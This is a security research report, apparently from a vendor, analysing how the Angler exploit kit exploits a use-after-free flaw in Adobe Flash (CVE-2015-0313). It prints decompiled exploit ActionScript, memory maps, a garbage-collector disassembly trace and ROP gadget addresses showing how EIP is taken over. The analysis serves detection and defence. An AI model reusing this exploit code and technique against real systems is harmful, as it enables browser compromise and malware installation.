Introduction
Recently, several popular exploit kits, including Angler, Flash EK, SweetOrange, Fiesta andNeutrino[1], have included several use-after-free (UAF) vulnerabilities in Adobe Flash to exploit victims’ browsers. Previously, these exploit kits typically used out-of-bounds access (OBA) vulnerabilities in Adobe Flash, as these types of vulnerabilities can be exploited universally and stably [2], and require less effort to exploit compared to UAF vulnerabilities. In order to detect these newly added UAF vulnerabilities, we analyzed the code found in the exploit kits to determine which vulnerabilities are present and how they are exploited.
Obfuscation in exploit kits
To determine the vulnerabilities within each exploit kit, we first had to overcoming the various obfuscation methods present in the JavaScript. Each exploit kit employs a different set of obfuscation methods, as seen in Figures 1, 2 and 3; however, the main JavaScript obfuscation methods seen in these kits are JavaScript function hooks, variable substitution and no operation (NOP) insertion. The most common obfuscation method seen in these exploits scripts is variable substitution, in which the JavaScript will use regex, math, concat, split, replace and other functions to manipulate and construct values that the script assigns to variables. The analysis of the exploit kits and details on the obfuscation methods used by specific exploit kits are beyond the scope of this report.
Figure 1. Angler's JavaScript Obfuscation
Figure 2. SweetOrange's JavaScript Obfuscation
Figure 3. Fiesta's JavaScript Obfuscation
The exploit kits also use obfuscation methods within the ActionScript code inside the Flash SWF files loaded by the malicious JavaScript. Similar to the exploit kit’s JavaScript, the obfuscation methods found in the ActionScript also include variable substitution and NOP insertion, which requires deobfuscation and increases the effort required to decompile and analyze the ActionScript. Further obfuscation methods used in the SWF files, which is almost universal amongst the different exploit kits, involves packing the SWF in several layers by using the “Loader::loadbytes()” function. As shown in the Figures 4 and 5, the layers of obfuscation just add complexity and increase the level effort required to analyze the vulnerability, as the most internal layer is always the exploit layer.
Figure 4. Angler's SWF Obfuscation, Layer 1
Figure 5. Angler's SWF Obfuscation, Layer 2
Vulnerability analysis
Once the JavaScript and ActionScript are deobfuscated, we can locate the specific vulnerabilities and determine how they are exploited. The use-after-free vulnerabilities involved in these popular exploit kits are CVE-2015-0311, CVE-2015-0313 and CVE-2015-0359, which we discuss elsewhere in this report. We found that these three CVEs discuss vulnerabilities in the same ApplicationDomain class. Every ActionScript class has an application domain, usually held by LoaderContext, to define its security context, especially when loading an external SWF by using Loader::load() or Loader::loadbytes(). Figure 6 shows the ApplicationDomain definition in Adobe’s documentation.
Figure 6. Adobe's definition of ApplicationDomain
The ApplicationDomain class has a property, domainMemory, which can be set to a ByteArray Object. The domainMemory ByteArray Object can be shared by other threads or used by other methods or classes. The use-after-free vulnerability arises because the ApplicationDomain relies on notifications to synchronize objects, whereas the other thread or class/method does not send a message when they free the ByteArray. The ByteArray that was free is still referenced by the ApplicationDomain because it was not notified that the ByteArray was freed. For instance, ByteArray::compress and ByteArray::decompress do not notify the ApplicationDomain when they free a ByteArray due to an IOError, or when a worker thread does not notify the main thread when it frees a ByteArray, which both cause the use-after-free situation.
During our analysis, we found that the Angler exploit kit not only forgot to obfuscate its exploit layer within the ActionScript found within the malicious SWF file, but also used helpful variable and function names that made it very easy to understand. Due to its straightforward nature, we will use Angler’s SWF as an example to show a step-by-step process to describe how it exploits the CVE-2015-0313 vulnerability.
In the first stage, the ActionScript performs heap layout work, sets a byteArray buffer named “attacking_buffer” to “ApplicationDomain.currentDomain.domainMemory”, and sends a message to trigger the worker thread. Figure 7 shows the ActionScript within Angler’s malicious SWF file.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
private function exploit_primordial_start(param1:String) : Boolean { if(!this.check_environment()) { return false; } var _loc2_:String = this.DecryptX86URL(param1); this.shellcodes = new Shellcodes(_loc2_,this.xkey.toString()); this.prepare_attack(); this.make_spray_by_buffers_no_holes(); ApplicationDomain.currentDomain.domainMemory = this.attacking_buffer; this.main_to_worker.send(this.message_hello); return true; } |
Figure 7. Angler's ActionScript that Assigns a Buffer to domainMemory to Begin the Exploitation Process
The following displays the memory map for the pertinent objects after the first stage, specifically showing domainMemory and ByteArray having a pointer (yellow) to the ByteArrayData buffer (actually the ByteArrayData was set to domainMemory):
ApplicationDomain
05591c60 10bb6558 80025f01 05555f98 03e831f0
05591c70 03ea5040 039f3080 03b672b8 03b661e8
+0x00: vtable of ApplicationDomain
+0x10: pointer to domainMemory
domainMemory
03ea5040 10c99fc8 03b4c190 0577f6d0 039f3080
03ea5050 03ea6020 05069000 00002000 03a36ea0
03ea5060 00000003 03ea5040 039f1070 039f1040
03ea5070 00000000 00000000
+0x00: vtable of domainMemory
+0x14: pointer to ByteArrayData
ByteArray
03a4f578 10c890a8 00000002 05069000 00002000
03a4f588 00002000 00000000
0x00: vtable of ByteArray
0x08: pointer to ByteArrayData
ByteArrayData
05069000 33333333 33333333 33333333 33333333
05069010 33333333 33333333 33333333 33333333
05069020 33333333 33333333 33333333 33333333
05069030 33333333 33333333 33333333 33333333
05069040 33333333 33333333 33333333 33333333
05069050 33333333 33333333 33333333 33333333
In the second stage, the worker thread receives the message and clears the “attacking_buffer” ByteArray assigned to “ApplicationDomain.currentDomain.domainMemory” in the first phase. However, the script does not notify the ApplicationDomain that the “attacking_buffer” was cleared, which causes “ApplicationDomain.currentDomain.domainMemory” to retain a pointer to the ByteArrayData. The lack of notification in the event of clearing the ByteArray causes the UAF vulnerability. Figure 8 shows the ActionScript within Angler’s malicious SWF file that clears the buffer without notifying the ApplicationDomain.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
protected function on_main_to_worker(param1:Event) : void { var _loc3_:uint = 0; var _loc4_:ByteArray = null; var _loc5_:ByteArray = null; var _loc2_:* = this.main_to_worker.receive(); if(_loc2_ == this.message_hello) { _loc3_ = this.page_size; _loc4_ = new ByteArray(); _loc4_.length = _loc3_; _loc5_ = new ByteArray(); _loc5_.length = _loc3_; _loc5_.clear(); this.attacking_buffer.clear(); _loc4_.clear(); this.protecting_buffer.length = this.protecting_buffer_size; this.fill_buffer(this.protecting_buffer,this.protecting_buffer_filler); Worker.current.setSharedProperty(this.protecting_buffer_name,this.protecting_buffer); this.worker_to_main.send(this.message_world); } } |
Figure 8. Angler's ActionScript that Clears the Buffer Without Notifying the ApplicationDomain
The following shows a memory map of the objects after the second stage, showing the ByteArray being cleared and the buffer of ByteArrayData being freed, but the domainMemory retaining the pointer (yellow) to the ByteArrayData buffer:
domainMemory
03ea5040 10c99fc8 03b4c190 0577f6d0 039f3080
03ea5050 03ea6020 05069000 00002000 03a36ea0
03ea5060 00000003 03ea5040 039f1070 039f1040
03ea5070 00000000 00000000
+0x00: vtable of domainMemory
+0x14: pointer to ByteArrayData
ByteArray
03a4f578 10c890a8 00000001 00000000 00000000
03a4f588 00000000 00000000
ByteArrayData
05069000 00000000 00000000 00000000 00000000
Exploit Analysis
After triggering the UAF vulnerability, the third stage begins the exploitation process. This is a rather special and unique UAF vulnerability, as the ByteArray object can be any size, which allows exploiters to create and free an arbitrary sized heap block, fill it with an arbitrary sized object (the simplest method is filling the freed heap block with the vector object), and modify the arbitrary offset of this freed buffer to an arbitrary value. he freed buffer is still considered a ByteArray buffer of domainMemory, allowing the exploiter to read and write directly to the ByteArray buffer using alchemy opcodes. For example, the alchemy opcodes ‘op_li32’ and ‘op_si32’ can read and write 32-bits memory of the ByteArray buffer of domainMemory.
The exploitation process continues by taking over the freed ByteArrayData heap block and replacing it with a vector of the same size. Angler’s exploit code, seen in Figure 9, takes over the ByteArrayData buffer in the function “make_filling_by_uints” and changes the vector length to a very large size by using the alchemy opcodes ‘op_si32’ in the function “magic_write_uint”.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
private function take_over_buffer() : Boolean { var _loc1_:uint = this.magic_read_uint(0); if(_loc1_ != this.protecting_buffer_filler) { return false; } this.make_spray_by_buffers_make_holes(); this.make_filling_by_uints(); _loc1_ = this.magic_read_uint(0); if(_loc1_ == this.protecting_buffer_filler) { return false; } return true; } private function attack() : Boolean { var _loc1_:uint = 0; var _loc2_:uint = 0; var _loc3_:uint = this.byte_array_size; while(_loc2_ < _loc3_) { _loc1_ = this.magic_read_uint(_loc2_); if(_loc1_ == this.vector_elements) { _loc1_ = this.magic_read_uint(_loc2_ + (this.x86_url_checked << 3)); if(_loc1_ == this.vector_signature_0) { //unchained_elements = 1073741824 = 0x40000000 this.magic_write_uint(_loc2_,this.unchained_elements); return true; } } _loc2_ = _loc2_ + (this.x86_url_checked << 2); } return false; } |
Figure 9. Angler's Exploit Code Taking Over ByteArrayData Buffer and Changing its Size
Figure 10 is a memory map of relevant objects after the third stage. The freed ByteArrayData buffer starting at 0x05069000 (yellow) has been taken over by the VectorData buffer that starts at 0x05069020 (green) and has a size of 0x72. The memory map also shows that the length of VectorData has been set to 0x40000000 (red).
domainMemory
03ea5040 10c99fc8 03b4c190 0577f6d0 039f3080
03ea5050 03ea6020 05069000 00002000 03a36ea0
03ea5060 00000003 03ea5040 039f1070 039f1040
03ea5070 00000000 00000000
+0x00: vtable of domainMemory
+0x14: pointer to ByteArrayData
Vector<uint>
05661538 10c99918 00000003 0555c1f0 03a44d78
05661548 0555f150 00000000 05069020 00000000
05661558 00000000 00000000
0x00: vtable of Vector<uint>
0x18: VectorData
Overlapped ByteArrayData[freed, +0x00 begin] and VectorData[taken over, +0x20 begin]
05069000 00000000 00000000 0506a000 05066000
05069010 01f80008 00000000 00000000 10f69b44
05069020 40000000 0506bc00 feedbabe 00001590
05069030 babeface 00000000 00000000 00000000
05069040 00000000 00000000 00000000 00000000
…
050691e0 00000000 00000000 00000000 00000000
050691f0 bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
05069200 bbbbbbbb bbbbbbbb bbbbbbbb bbbbbbbb
05069210 bbbbbbbb bbbbbbbb 00000072 03b3b000
05069220 feedbabe 00001591 babeface 00000000
05069230 00000000 00000000 00000000 00000000
…
05069020+0x00: vector length modified to 0x40000000 by alchemy opcode of domainMemory
05069020+0x04: GC_object<***important***>
05069020+0x08: vector[0]
05069218+0x00: length of the next adjacent vector
Figure 10. Memory Map Showing the ByteArrayData Buffer Taken Over by Vector Buffer
The last stage starts by finding the vector with the size of 0x40000000 by comparing the original length to current length. Figure 11 shows a function named ‘find_unchained_vector’ within the ActionScript that locates the vector, specifically seen in red text. The ActionScript will use this vector to scan memory to find ROP chain, construct and write ROP chain and shellcode (obtained from flashvars) to the VectorData buffer, which is a fairly conventional process. The interesting part of the exploitation process involves the use of the garbage collection (GC) to control the instruction pointer (EIP) instead of the typical usage of a sound or file reference object to control EIP[2]. The exploit code uses the garbage collection (GC) to control EIP by faking a GC_object at offset 0x04 of the VectorData buffer and will overwrite it to the controlled fake_GC_object, which is carried out by a function named “take_over_32” in Figure 11. According to the memory map in Figure 10, the first element of vector is offset 0x08 (vector[0]), but the ActionScript overwrites the offset 0x04 instead, which is interesting and required additional analysis.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
private function find_unchained_vector() : Boolean { var _loc1_:Vector.<uint> = null; var _loc2_:* = 0; while(_loc2_ < this.vectors_count) { _loc1_ = this.vectors[_loc2_] as Vector.<uint>; if(!(_loc1_.length == this.vector_elements) && !(_loc1_.length == this.vector_elements * 2)) { this.unchained_vector_index = _loc2_; this.unchained_vector = _loc1_; return true; } _loc2_++; } return false; } private function take_over_32() : Boolean { //unchained_elements = 1073741824 = 0x40000000 var _loc1_:uint = this.unchained_elements - 1; this.unchained_vector[_loc1_] = this.fake_object_address; this.unchained_vector.length = this.vector_elements * 2; this.restore_vector_32(); return true; } |
Figure 11. Angler's ActionScript Code to Find and Take Over the Vector
From within the ActionScript, we can see it specifically set vector[3fffffff] to fake_gc_object, which Flash will calculate the offset like this in the following manner:
Vector[index] -> [VectorData+index*4+8]
When index = 3fffffff
[VectorData+0x3fffffff*4+8] = [VectorData+0xfffffffc+8] = [VectorData+0x04]
Based on the calculation above, it is obvious that the ActionScript uses an integer overflow to set vector+0x04 offset. After setting the vector+0x04 to the fake_gc_object, it resets the vector length (unchained_vector.length) to release the old vector and triggers garbage collection (GC) to collect this vector. When the garbage collector collects the vector it uses the fake_gc_object, gets an unknown object from this fake_gc_object and peforms a vtable call on this unknown object.
Figure 12 shows the trace route of the garbage collector and the memory map in the last stage to show the process in which exploiters use to control the instruction pointer to execute code. This will not show the entire process of the garbage collector, instead it begins from finding the vector to be collected and ends with the vtable call on the unknown object that provides exploiters control over the EIP.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 |
1. Find vector to be collected, eax is the vector to be collected, and ebp is the fake_gc_object, here it is overwritten to 0x05113c00. .text:10664E6D mov ebp, [eax+4] ; eax = vector, 0x05111020 .text:10664E70 mov [esp+24h+var_8], ebp ; ebp = 0x05113c00 .text:10664E74 mov [esp+24h+arg_0], ebx .text:10664E78 cmp ebx, esi .text:10664E7A jbe short loc_10664E82 .text:10664E7C mov [esp+24h+arg_0], esi .text:10664E80 mov ebx, esi … .text:10664FFF loc_10664FFF: .text:10664FFF push 1 ; int .text:10665001 push eax ; int .text:10665002 mov ecx, ebp ; int; ecx = 0x05113c00 .text:10665004 call sub_105F0930 2. The sub_105F0930 function sends the fake_gc_object of vector [0x05113c00] to sub_105F07F0 .text:105F093E mov esi, ecx .text:105F0940 jge short loc_105F0949 .text:105F0942 add [esi+eax*4+1DCh], ebx … .text:105F095C mov ecx, esi ; int; ecx = 0x05113c00 .text:105F095E call sub_105F07F0 ... 3. The sub_105F07F0 function does the collection work and sends fake_gc_object to sub_105F06F0 .text:105F07F0 sub esp, 20h .text:105F07F3 push esi .text:105F07F4 mov esi, ecx; esi = 0x05113c00 .text:105F07F6 cmp byte ptr [esi+5], 0 .text:105F07FA jnz loc_105F08A2 .text:105F0800 mov eax, [esi+1E4h] .text:105F0806 push 0 .text:105F0808 push offset a_gc_collection ; ".gc.CollectionWork" … .text:105F0861 loc_105F0861: .text:105F0861 push 1 ; char .text:105F0863 push 1 ; int .text:105F0865 mov ecx, esi ; int; ecx = 0x05113c00 .text:105F0867 call sub_105F06F0 4. The sub_105F06F0 function gets an unknown_object from fake_gc_object and sends it to sub_100436E0 .text:105F06F0 sub esp, 20h .text:105F06F3 push esi .text:105F06F4 mov esi, ecx ; esi = fake_gc_object = 0x05113c00 .text:105F06F6 cmp byte ptr [esi+5], 0 .text:105F06FA jnz loc_105F0781 .text:105F0700 cmp dword ptr [esi+2B0h], 0 .text:105F0707 jnz short loc_105F0781 .text:105F0709 cmp byte ptr [esi+2AAh], 0 .text:105F0710 jnz short loc_105F0781 .text:105F0712 cmp byte ptr [esi+7B8h], 0 .text:105F0719 jnz short loc_105F0781 .text:105F071B mov eax, [esi+1E4h] ; eax = 0x05113d80 .text:105F0721 push edi .text:105F0722 push 0 .text:105F0724 push offset a_gc_collect ; ".gc.Collect" .text:105F0729 push eax ; eax = unknown_object = 0x05113d80 .text:105F072A lea ecx, [esp+34h+var_20] .text:105F072E call sub_100436E0 5. The sub_100436E0 function is a wrapper function, as it does nothing more than push the 1st argument and calls the sub_1004295C function .text:100436E0 push esi .text:100436E1 push [esp+4+arg_8] .text:100436E5 mov esi, ecx .text:100436E7 push [esp+8+arg_4] .text:100436EB mov dword ptr [esi], offset off_10B5BEEC .text:100436F1 push [esp+0Ch+arg_0] ; 1st argument is unknown_object .text:100436F5 call sub_1004295C 6. The sub_1004295C function performs a vtable call of unknown_object and stack pivot exec at last. .text:1004295C mov eax, [esp+arg_4] .text:10042960 push esi .text:10042961 mov esi, ecx .text:10042963 mov ecx, [esp+4+arg_0] ; ecx = unknown_object .text:10042967 mov [esi+0Ch], eax .text:1004296A mov al, [esp+4+arg_8] .text:1004296E mov [esi+18h], ecx .text:10042971 mov [esi+8], al .text:10042974 test ecx, ecx .text:10042976 jz short loc_1004298B .text:10042978 cmp byte ptr [ecx+4], 0 .text:1004297C jz short loc_1004298B .text:1004297E mov eax, [ecx] ; eax is vtable = 0x05114000 .text:10042980 call dword ptr [eax+4] ; jump 0x1015b6be 0:008> u 1015b6be Flash32_15_0_0_246+0x15b6be: 1015b6be 8b01 mov eax,dword ptr [ecx] 1015b6c0 51 push ecx 1015b6c1 ff5008 call dword ptr [eax+8] This is the first ROP address 0:008> u 10020740 Flash32_15_0_0_246+0x20740: 10020740 94 xchg eax,esp 10020741 c3 ret the vectorData buffer 05111000 00000000 00000000 05112000 03c62000 05111010 01f80008 00000000 00000000 10f69b44 05111020 40000000 05113c00 feedbabe 000014d0 05111030 babeface 00000000 00000000 00000000 05111040 00000000 00000000 00000000 0000000 The memory used in garbage collector above, 05113c00 is the fake_gc_object 0:008> dc 05113c00 + 1e4 05113de4 05113d80 cccccccc cccccccc cccccccc .=.............. Unknown_object 05113d80 05114000 00000001 cccccccc cccccccc Fake vtable of Unknown_object, 1015b6be is the 1st executed address, 10020740 is the 2nd executed address, etc… 05114000 1000b5d2 1015b6be 10020740 1019cc26 05114010 1028297c 10064fc5 7c809ae1 05114030 05114020 05114000 00002000 00001000 00000040 05114030 002ce860 c6610000 89000447 c031fcf4 |
Figure 12. Trace of Garbage Collector and Associated Memory Map
The use of the garbage collector is a novel method to control EIP, which differs from the previous techniques using sound or file reference objects. It is universal, stable and does not require other objects, as attackers can use the one vector for all the steps required to execute code, including scanning for and finding the ROP chain, overwriting the ROP chain, and control and trigger EIP. This is good news for cybercriminals, as it makes exploit development easier.
Summary
The technique of faking a garbage collection object to control EIP has never been seen before and is worth to paying attention to in future exploits. Due to certain features in Adobe Flash, specifically the ability for alchemy opcodes (such as op_li32/op_si32) to directly access memory within a ByteArray, use-after-free vulnerabilities are just as easy to exploit as out-of-bounds vulnerabilities. It appears that the authors of exploit kits agree with this, as they continue to add new Flash UAF vulnerabilities to their arsenal. As such, we can anticipate Flash vulnerabilities will continue to be exploited by exploit kits well into the future. Security researchers should not only spend time hunting and reporting more bugs to vendors, but also focus on exploit detection before html5 completely replaces flash altogether.